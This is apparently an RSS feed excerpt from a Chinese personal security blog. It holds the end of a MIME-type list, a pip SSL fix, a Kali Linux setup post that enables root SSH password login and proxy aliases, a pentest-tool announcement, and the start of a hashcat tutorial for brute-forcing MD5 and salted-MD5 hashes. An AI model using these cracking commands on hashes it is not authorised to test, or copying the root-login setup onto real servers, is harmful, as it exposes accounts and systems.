	# audio/vnd.vmx.cvsd
</p>
<p>
	# audio/vorbis
</p>
<p>
	# audio/vorbis-config
</p>
<p>
	audio/webm					weba
</p>
<p>
	audio/x-aac					aac
</p>
<p>
	audio/x-aiff					aif aiff aifc
</p>
<p>
	audio/x-caf					caf
</p>
<p>
	audio/x-flac					flac
</p>
<p>
	audio/x-matroska				mka
</p>
<p>
	audio/x-mpegurl					m3u
</p>
<p>
	audio/x-ms-wax					wax
</p>
<p>
	audio/x-ms-wma					wma
</p>
<p>
	audio/x-pn-realaudio				ram ra
</p>
<p>
	audio/x-pn-realaudio-plugin			rmp
</p>
<p>
	# audio/x-tta
</p>
<p>
	audio/x-wav					wav
</p>
<p>
	audio/xm					xm
</p>
<p>
	chemical/x-cdx					cdx
</p>
<p>
	chemical/x-cif					cif
</p>
<p>
	chemical/x-cmdf					cmdf
</p>
<p>
	chemical/x-cml					cml
</p>
<p>
	chemical/x-csml					csml
</p>
<p>
	# chemical/x-pdb
</p>
<p>
	chemical/x-xyz					xyz
</p>
<p>
	font/collection					ttc
</p>
<p>
	font/otf					otf
</p>
<p>
	# font/sfnt
</p>
<p>
	font/ttf					ttf
</p>
<p>
	font/woff					woff
</p>
<p>
	font/woff2					woff2
</p>
<p>
	image/bmp					bmp
</p>
<p>
	image/cgm					cgm
</p>
<p>
	# image/dicom-rle
</p>
<p>
	# image/emf
</p>
<p>
	# image/example
</p>
<p>
	# image/fits
</p>
<p>
	image/g3fax					g3
</p>
<p>
	image/gif					gif
</p>
<p>
	image/ief					ief
</p>
<p>
	# image/jls
</p>
<p>
	# image/jp2
</p>
<p>
	image/jpeg					jpeg jpg jpe
</p>
<p>
	# image/jpm
</p>
<p>
	# image/jpx
</p>
<p>
	image/ktx					ktx
</p>
<p>
	# image/naplps
</p>
<p>
	image/png					png
</p>
<p>
	image/prs.btif					btif
</p>
<p>
	# image/prs.pti
</p>
<p>
	# image/pwg-raster
</p>
<p>
	image/sgi					sgi
</p>
<p>
	image/svg+xml					svg svgz
</p>
<p>
	# image/t38
</p>
<p>
	image/tiff					tiff tif
</p>
<p>
	# image/tiff-fx
</p>
<p>
	image/vnd.adobe.photoshop			psd
</p>
<p>
	# image/vnd.airzip.accelerator.azv
</p>
<p>
	# image/vnd.cns.inf2
</p>
<p>
	image/vnd.dece.graphic				uvi uvvi uvg uvvg
</p>
<p>
	image/vnd.djvu					djvu djv
</p>
<p>
	image/vnd.dvb.subtitle				sub
</p>
<p>
	image/vnd.dwg					dwg
</p>
<p>
	image/vnd.dxf					dxf
</p>
<p>
	image/vnd.fastbidsheet				fbs
</p>
<p>
	image/vnd.fpx					fpx
</p>
<p>
	image/vnd.fst					fst
</p>
<p>
	image/vnd.fujixerox.edmics-mmr			mmr
</p>
<p>
	image/vnd.fujixerox.edmics-rlc			rlc
</p>
<p>
	# image/vnd.globalgraphics.pgb
</p>
<p>
	# image/vnd.microsoft.icon
</p>
<p>
	# image/vnd.mix
</p>
<p>
	# image/vnd.mozilla.apng
</p>
<p>
	image/vnd.ms-modi				mdi
</p>
<p>
	image/vnd.ms-photo				wdp
</p>
<p>
	image/vnd.net-fpx				npx
</p>
<p>
	# image/vnd.radiance
</p>
<p>
	# image/vnd.sealed.png
</p>
<p>
	# image/vnd.sealedmedia.softseal.gif
</p>
<p>
	# image/vnd.sealedmedia.softseal.jpg
</p>
<p>
	# image/vnd.svf
</p>
<p>
	# image/vnd.tencent.tap
</p>
<p>
	# image/vnd.valve.source.texture
</p>
<p>
	image/vnd.wap.wbmp				wbmp
</p>
<p>
	image/vnd.xiff					xif
</p>
<p>
	# image/vnd.zbrush.pcx
</p>
<p>
	image/webp					webp
</p>
<p>
	# image/wmf
</p>
<p>
	image/x-3ds					3ds
</p>
<p>
	image/x-cmu-raster				ras
</p>
<p>
	image/x-cmx					cmx
</p>
<p>
	image/x-freehand				fh fhc fh4 fh5 fh7
</p>
<p>
	image/x-icon					ico
</p>
<p>
	image/x-mrsid-image				sid
</p>
<p>
	image/x-pcx					pcx
</p>
<p>
	image/x-pict					pic pct
</p>
<p>
	image/x-portable-anymap				pnm
</p>
<p>
	image/x-portable-bitmap				pbm
</p>
<p>
	image/x-portable-graymap			pgm
</p>
<p>
	image/x-portable-pixmap				ppm
</p>
<p>
	image/x-rgb					rgb
</p>
<p>
	image/x-tga					tga
</p>
<p>
	image/x-xbitmap					xbm
</p>
<p>
	image/x-xpixmap					xpm
</p>
<p>
	image/x-xwindowdump				xwd
</p>
<p>
	# message/cpim
</p>
<p>
	# message/delivery-status
</p>
<p>
	# message/disposition-notification
</p>
<p>
	# message/example
</p>
<p>
	# message/external-body
</p>
<p>
	# message/feedback-report
</p>
<p>
	# message/global
</p>
<p>
	# message/global-delivery-status
</p>
<p>
	# message/global-disposition-notification
</p>
<p>
	# message/global-headers
</p>
<p>
	# message/http
</p>
<p>
	# message/imdn+xml
</p>
<p>
	# message/news
</p>
<p>
	# message/partial
</p>
<p>
	message/rfc822					eml mime
</p>
<p>
	# message/s-http
</p>
<p>
	# message/sip
</p>
<p>
	# message/sipfrag
</p>
<p>
	# message/tracking-status
</p>
<p>
	# message/vnd.si.simp
</p>
<p>
	# message/vnd.wfa.wsc
</p>
<p>
	# model/example
</p>
<p>
	# model/gltf+json
</p>
<p>
	model/iges					igs iges
</p>
<p>
	model/mesh					msh mesh silo
</p>
<p>
	model/vnd.collada+xml				dae
</p>
<p>
	model/vnd.dwf					dwf
</p>
<p>
	# model/vnd.flatland.3dml
</p>
<p>
	model/vnd.gdl					gdl
</p>
<p>
	# model/vnd.gs-gdl
</p>
<p>
	# model/vnd.gs.gdl
</p>
<p>
	model/vnd.gtw					gtw
</p>
<p>
	# model/vnd.moml+xml
</p>
<p>
	model/vnd.mts					mts
</p>
<p>
	# model/vnd.opengex
</p>
<p>
	# model/vnd.parasolid.transmit.binary
</p>
<p>
	# model/vnd.parasolid.transmit.text
</p>
<p>
	# model/vnd.rosette.annotated-data-model
</p>
<p>
	# model/vnd.valve.source.compiled-map
</p>
<p>
	model/vnd.vtu					vtu
</p>
<p>
	model/vrml					wrl vrml
</p>
<p>
	model/x3d+binary				x3db x3dbz
</p>
<p>
	# model/x3d+fastinfoset
</p>
<p>
	model/x3d+vrml					x3dv x3dvz
</p>
<p>
	model/x3d+xml					x3d x3dz
</p>
<p>
	# model/x3d-vrml
</p>
<p>
	# multipart/alternative
</p>
<p>
	# multipart/appledouble
</p>
<p>
	# multipart/byteranges
</p>
<p>
	# multipart/digest
</p>
<p>
	# multipart/encrypted
</p>
<p>
	# multipart/example
</p>
<p>
	# multipart/form-data
</p>
<p>
	# multipart/header-set
</p>
<p>
	# multipart/mixed
</p>
<p>
	# multipart/parallel
</p>
<p>
	# multipart/related
</p>
<p>
	# multipart/report
</p>
<p>
	# multipart/signed
</p>
<p>
	# multipart/voice-message
</p>
<p>
	# multipart/x-mixed-replace
</p>
<p>
	# text/1d-interleaved-parityfec
</p>
<p>
	text/cache-manifest				appcache
</p>
<p>
	text/calendar					ics ifb
</p>
<p>
	text/css					css
</p>
<p>
	text/csv					csv
</p>
<p>
	# text/csv-schema
</p>
<p>
	# text/directory
</p>
<p>
	# text/dns
</p>
<p>
	# text/ecmascript
</p>
<p>
	# text/encaprtp
</p>
<p>
	# text/enriched
</p>
<p>
	# text/example
</p>
<p>
	# text/fwdred
</p>
<p>
	# text/grammar-ref-list
</p>
<p>
	text/html					html htm
</p>
<p>
	# text/javascript
</p>
<p>
	# text/jcr-cnd
</p>
<p>
	# text/markdown
</p>
<p>
	# text/mizar
</p>
<p>
	text/n3						n3
</p>
<p>
	# text/parameters
</p>
<p>
	# text/parityfec
</p>
<p>
	text/plain					txt text conf def list log in
</p>
<p>
	# text/provenance-notation
</p>
<p>
	# text/prs.fallenstein.rst
</p>
<p>
	text/prs.lines.tag				dsc
</p>
<p>
	# text/prs.prop.logic
</p>
<p>
	# text/raptorfec
</p>
<p>
	# text/red
</p>
<p>
	# text/rfc822-headers
</p>
<p>
	text/richtext					rtx
</p>
<p>
	# text/rtf
</p>
<p>
	# text/rtp-enc-aescm128
</p>
<p>
	# text/rtploopback
</p>
<p>
	# text/rtx
</p>
<p>
	text/sgml					sgml sgm
</p>
<p>
	# text/t140
</p>
<p>
	text/tab-separated-values			tsv
</p>
<p>
	text/troff					t tr roff man me ms
</p>
<p>
	text/turtle					ttl
</p>
<p>
	# text/ulpfec
</p>
<p>
	text/uri-list					uri uris urls
</p>
<p>
	text/vcard					vcard
</p>
<p>
	# text/vnd.a
</p>
<p>
	# text/vnd.abc
</p>
<p>
	text/vnd.curl					curl
</p>
<p>
	text/vnd.curl.dcurl				dcurl
</p>
<p>
	text/vnd.curl.mcurl				mcurl
</p>
<p>
	text/vnd.curl.scurl				scurl
</p>
<p>
	# text/vnd.debian.copyright
</p>
<p>
	# text/vnd.dmclientscript
</p>
<p>
	text/vnd.dvb.subtitle				sub
</p>
<p>
	# text/vnd.esmertec.theme-descriptor
</p>
<p>
	text/vnd.fly					fly
</p>
<p>
	text/vnd.fmi.flexstor				flx
</p>
<p>
	text/vnd.graphviz				gv
</p>
<p>
	text/vnd.in3d.3dml				3dml
</p>
<p>
	text/vnd.in3d.spot				spot
</p>
<p>
	# text/vnd.iptc.newsml
</p>
<p>
	# text/vnd.iptc.nitf
</p>
<p>
	# text/vnd.latex-z
</p>
<p>
	# text/vnd.motorola.reflex
</p>
<p>
	# text/vnd.ms-mediapackage
</p>
<p>
	# text/vnd.net2phone.commcenter.command
</p>
<p>
	# text/vnd.radisys.msml-basic-layout
</p>
<p>
	# text/vnd.si.uricatalogue
</p>
<p>
	text/vnd.sun.j2me.app-descriptor		jad
</p>
<p>
	# text/vnd.trolltech.linguist
</p>
<p>
	# text/vnd.wap.si
</p>
<p>
	# text/vnd.wap.sl
</p>
<p>
	text/vnd.wap.wml				wml
</p>
<p>
	text/vnd.wap.wmlscript				wmls
</p>
<p>
	text/x-asm					s asm
</p>
<p>
	text/x-c					c cc cxx cpp h hh dic
</p>
<p>
	text/x-fortran					f for f77 f90
</p>
<p>
	text/x-java-source				java
</p>
<p>
	text/x-nfo					nfo
</p>
<p>
	text/x-opml					opml
</p>
<p>
	text/x-pascal					p pas
</p>
<p>
	text/x-setext					etx
</p>
<p>
	text/x-sfv					sfv
</p>
<p>
	text/x-uuencode					uu
</p>
<p>
	text/x-vcalendar				vcs
</p>
<p>
	text/x-vcard					vcf
</p>
<p>
	# text/xml
</p>
<p>
	# text/xml-external-parsed-entity
</p>
<p>
	# video/1d-interleaved-parityfec
</p>
<p>
	video/3gpp					3gp
</p>
<p>
	# video/3gpp-tt
</p>
<p>
	video/3gpp2					3g2
</p>
<p>
	# video/bmpeg
</p>
<p>
	# video/bt656
</p>
<p>
	# video/celb
</p>
<p>
	# video/dv
</p>
<p>
	# video/encaprtp
</p>
<p>
	# video/example
</p>
<p>
	video/h261					h261
</p>
<p>
	video/h263					h263
</p>
<p>
	# video/h263-1998
</p>
<p>
	# video/h263-2000
</p>
<p>
	video/h264					h264
</p>
<p>
	# video/h264-rcdo
</p>
<p>
	# video/h264-svc
</p>
<p>
	# video/h265
</p>
<p>
	# video/iso.segment
</p>
<p>
	video/jpeg					jpgv
</p>
<p>
	# video/jpeg2000
</p>
<p>
	video/jpm					jpm jpgm
</p>
<p>
	video/mj2					mj2 mjp2
</p>
<p>
	# video/mp1s
</p>
<p>
	# video/mp2p
</p>
<p>
	# video/mp2t
</p>
<p>
	video/mp4					mp4 mp4v mpg4
</p>
<p>
	# video/mp4v-es
</p>
<p>
	video/mpeg					mpeg mpg mpe m1v m2v
</p>
<p>
	# video/mpeg4-generic
</p>
<p>
	# video/mpv
</p>
<p>
	# video/nv
</p>
<p>
	video/ogg					ogv
</p>
<p>
	# video/parityfec
</p>
<p>
	# video/pointer
</p>
<p>
	video/quicktime					qt mov
</p>
<p>
	# video/raptorfec
</p>
<p>
	# video/raw
</p>
<p>
	# video/rtp-enc-aescm128
</p>
<p>
	# video/rtploopback
</p>
<p>
	# video/rtx
</p>
<p>
	# video/smpte292m
</p>
<p>
	# video/ulpfec
</p>
<p>
	# video/vc1
</p>
<p>
	# video/vnd.cctv
</p>
<p>
	video/vnd.dece.hd				uvh uvvh
</p>
<p>
	video/vnd.dece.mobile				uvm uvvm
</p>
<p>
	# video/vnd.dece.mp4
</p>
<p>
	video/vnd.dece.pd				uvp uvvp
</p>
<p>
	video/vnd.dece.sd				uvs uvvs
</p>
<p>
	video/vnd.dece.video				uvv uvvv
</p>
<p>
	# video/vnd.directv.mpeg
</p>
<p>
	# video/vnd.directv.mpeg-tts
</p>
<p>
	# video/vnd.dlna.mpeg-tts
</p>
<p>
	video/vnd.dvb.file				dvb
</p>
<p>
	video/vnd.fvt					fvt
</p>
<p>
	# video/vnd.hns.video
</p>
<p>
	# video/vnd.iptvforum.1dparityfec-1010
</p>
<p>
	# video/vnd.iptvforum.1dparityfec-2005
</p>
<p>
	# video/vnd.iptvforum.2dparityfec-1010
</p>
<p>
	# video/vnd.iptvforum.2dparityfec-2005
</p>
<p>
	# video/vnd.iptvforum.ttsavc
</p>
<p>
	# video/vnd.iptvforum.ttsmpeg2
</p>
<p>
	# video/vnd.motorola.video
</p>
<p>
	# video/vnd.motorola.videop
</p>
<p>
	video/vnd.mpegurl				mxu m4u
</p>
<p>
	video/vnd.ms-playready.media.pyv		pyv
</p>
<p>
	# video/vnd.nokia.interleaved-multimedia
</p>
<p>
	# video/vnd.nokia.videovoip
</p>
<p>
	# video/vnd.objectvideo
</p>
<p>
	# video/vnd.radgamettools.bink
</p>
<p>
	# video/vnd.radgamettools.smacker
</p>
<p>
	# video/vnd.sealed.mpeg1
</p>
<p>
	# video/vnd.sealed.mpeg4
</p>
<p>
	# video/vnd.sealed.swf
</p>
<p>
	# video/vnd.sealedmedia.softseal.mov
</p>
<p>
	video/vnd.uvvu.mp4				uvu uvvu
</p>
<p>
	video/vnd.vivo					viv
</p>
<p>
	# video/vp8
</p>
<p>
	video/webm					webm
</p>
<p>
	video/x-f4v					f4v
</p>
<p>
	video/x-fli					fli
</p>
<p>
	video/x-flv					flv
</p>
<p>
	video/x-m4v					m4v
</p>
<p>
	video/x-matroska				mkv mk3d mks
</p>
<p>
	video/x-mng					mng
</p>
<p>
	video/x-ms-asf					asf asx
</p>
<p>
	video/x-ms-vob					vob
</p>
<p>
	video/x-ms-wm					wm
</p>
<p>
	video/x-ms-wmv					wmv
</p>
<p>
	video/x-ms-wmx					wmx
</p>
<p>
	video/x-ms-wvx					wvx
</p>
<p>
	video/x-msvideo					avi
</p>
<p>
	video/x-sgi-movie				movie
</p>
<p>
	video/x-smv					smv
</p>
<p>
	x-conference/x-cooltalk				ice
</p>
<br />
<p>
	<br />
</p>
<p>
	:wq
</p>]]></description>
	<pubDate>Wed, 08 Jul 2020 15:28:54 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=108</guid>

</item>
<item>
	<title>Python Can't connect to HTTPS URL because the SSL module is not available.</title>
	<link>https://www.zuoer.xin/?post=107</link>
	<description><![CDATA[<p>
	环境：
</p>
<p>
	macOS Catalina&nbsp;
</p>
<p>
	<br />
</p>
<p>
	现象：
</p>
<p>
	pip install --upgrade pip
</p>
<p>
	遇到错误以下错误
</p>
<p>
	Could not install packages due to an EnvironmentError: HTTPSConnectionPool(host='files.pythonhosted.org', port=443): Max retries exceeded with url: /packages/43/84/23ed6a1796480a6f1a2d38f2802901d078266bda38388954d01d3f2e821d/pip-20.1.1-py2.py3-none-any.whl (Caused by SSLError("Can't connect to HTTPS URL because the SSL module is not available.",))
</p>
<p>
	<br />
</p>
<p>
	<p>
		可能原因：
	</p>
	<p>
		安装python3，openssl升级到1.1
	</p>
	<p>
		<br />
	</p>
	<p>
		解决办法：
	</p>
	<p>
		brew switch openssl 1.0.2s
	</p>
</p>
<p>
	<span style="color:#4D4D4D;font-family:&quot;font-size:16px;font-variant-ligatures:common-ligatures;white-space:normal;background-color:#FFFFFF;"><br />
</span>
</p>]]></description>
	<pubDate>Fri, 26 Jun 2020 10:50:03 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=107</guid>

</item>
<item>
	<title>kali 优化</title>
	<link>https://www.zuoer.xin/?post=106</link>
	<description><![CDATA[<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	1.设置 root密码
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	passed root
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	<br />
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	2.开启sshd 允许root登陆
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	vim /etc/ssh/sshd_config
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	PermitRootLogin yes
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	PasswordAuthentication yes
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	ClientAliveInterval 6000 #防止长时间操作 ssh断开连接
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	<br />
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	/etc/init.d/ssh restart #ssh重启
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	update-rc.d ssh enable #开机自启
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	<br />
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	3.设置proxychains代理
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	vim /etc/proxychains.conf
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	socks5 ip 端口
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	<br />
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	4.设置别名
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	sudo vim /etc/bash.bashrc
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	ip=IP地址
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	alias pc='proxychains'
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	alias ssrproxy='export all_proxy=socks5://$ip:1086'
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	alias proxy='export all_proxy=socks5://$ip:1081'
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	alias torproxy='export all_proxy=socks5://$ip:9150'
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	alias unproxy='unset all_proxy'
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	alias csproxy='export all_proxy=socks5://$ip:12315'
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	alias csproxy4='export all_proxy=socks4://$ip:12314'
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	<br />
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	sudo source /etc/bash.bashrc
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	注：全部用户生效 。单用户生效请使用 sudo vim ~/.bashrc。
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	<br />
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	5.设置更新源(如果走代理，不配置也可以)
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	sudo vim /etc/apt/sources.list
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	<br />
</p>
<p style="margin-top:0px;margin-bottom:15px;padding:0px;list-style:none;font-family:&quot;font-size:13px;white-space:normal;background-color:rgba(255, 255, 255, 0.8);">
	sudo apt-get update
</p>]]></description>
	<pubDate>Thu, 25 Jun 2020 14:53:10 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=106</guid>

</item>
<item>
	<title>左耳渗透小工具 v1.0.2</title>
	<link>https://www.zuoer.xin/?post=102</link>
	<description><![CDATA[<p>
	<br />
</p>
<p>
	俺也为开源作出一丝丝贡献了，哈哈，本次版本为1.0.2 ，一定会有bug，希望大家多多留言，下个版本我会改进。
</p>
<p>
	根据个人需求此项目会不断更新
</p>
<p>
	github地址：<a href="https://github.com/zuoer666/zuoerTools">https://github.com/zuoer666/zuoerTools</a> 
</p>
<p>
	<br />
</p>
<p>
	软件部分截图如下：
</p>
<p>
	<br />
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/202006/c65b1593014728.jpg" id="ematt:193"><img src="https://www.zuoer.xin/content/uploadfile/202006/c65b1593014728.jpg" title="点击查看原图" alt="Xnip2020-06-25_00-05-12.jpg" border="0" width="1204" height="676" /></a> 
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/202006/447b1593014317.jpg" id="ematt:185"><img src="https://www.zuoer.xin/content/uploadfile/202006/447b1593014317.jpg" title="点击查看原图" alt="Xnip2020-06-24_23-56-34.jpg" border="0" width="1124" height="824" /></a> 
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/202006/00971593014337.jpg" id="ematt:187"><img src="https://www.zuoer.xin/content/uploadfile/202006/00971593014337.jpg" title="点击查看原图" alt="Xnip2020-06-24_23-56-47.jpg" border="0" width="2342" height="1224" /></a> 
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/202006/9c201593014373.jpg" id="ematt:189"><img src="https://www.zuoer.xin/content/uploadfile/202006/9c201593014373.jpg" title="点击查看原图" alt="Xnip2020-06-24_23-57-25.jpg" border="0" width="2342" height="1224" /></a> 
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/202006/2be31593014575.jpg" id="ematt:191"><img src="https://www.zuoer.xin/content/uploadfile/202006/2be31593014575.jpg" title="点击查看原图" alt="Xnip2020-06-25_00-02-37.jpg" border="0" width="2224" height="1364" /></a> 
</p>
<p>
	<br />
</p>]]></description>
	<pubDate>Wed, 24 Jun 2020 15:52:18 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=102</guid>

</item>
<item>
	<title>利用 hashcat 跑 hash 密码(GPU 显卡)</title>
	<link>https://www.zuoer.xin/?post=104</link>
	<description><![CDATA[<div class="page" title="Page 11">
	<div class="layoutArea">
		<p>
			<br />
		</p>
		<p>
			<br />
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<b><span lang="EN-US">1</span>）破解<span lang="EN-US">cmd5</span>：<span lang="EN-US"><o:p></o:p></span></b> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">123456</span>对应<span lang="EN-US">cmd5</span>是<span lang="EN-US">E10ADC3949BA59ABBE56E057F20F883E<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">&nbsp;</span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">hashcat -m 0 -a 3 "E10ADC3949BA59ABBE56E057F20F883E"<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">&nbsp;<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/202006/c48e1593049511.png" id="ematt:195"><img src="https://www.zuoer.xin/content/uploadfile/202006/c48e1593049511.png" title="点击查看原图" alt="图片 1.png" border="0" width="864" height="518" /></a></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<br />
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			注：<span lang="EN-US"><o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">#hashcat </span>支援超多种解密<span lang="EN-US">, -m </span>后面要告诉<span lang="EN-US">hashcat </span>想要解的<span lang="EN-US">hash</span>类型<span lang="EN-US">, md5 </span>的代码是<span lang="EN-US"> 0<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">#-a </span>代表着<span lang="EN-US">attack-mode, </span>总共五种<span lang="EN-US">, brute-force </span>（暴力法）代码是<span lang="EN-US"> 3<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">&nbsp;</span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">2</span>）<b>破解<span lang="EN-US">md5($pass.$salt)<o:p></o:p></span></b> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">123456 </span>对应 <span lang="EN-US">md5($pass.$salt) E10ADC3949BA59ABBE56E057F20F883E<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<span lang="EN-US">hashcat -m 10 -a 3 "E10ADC3949BA59ABBE56E057F20F883E"<o:p></o:p></span> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			<b><span lang="EN-US">&nbsp;</span></b> 
		</p>
		<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
			注：<span lang="EN-US"><o:p></o:p></span> 
		</p>
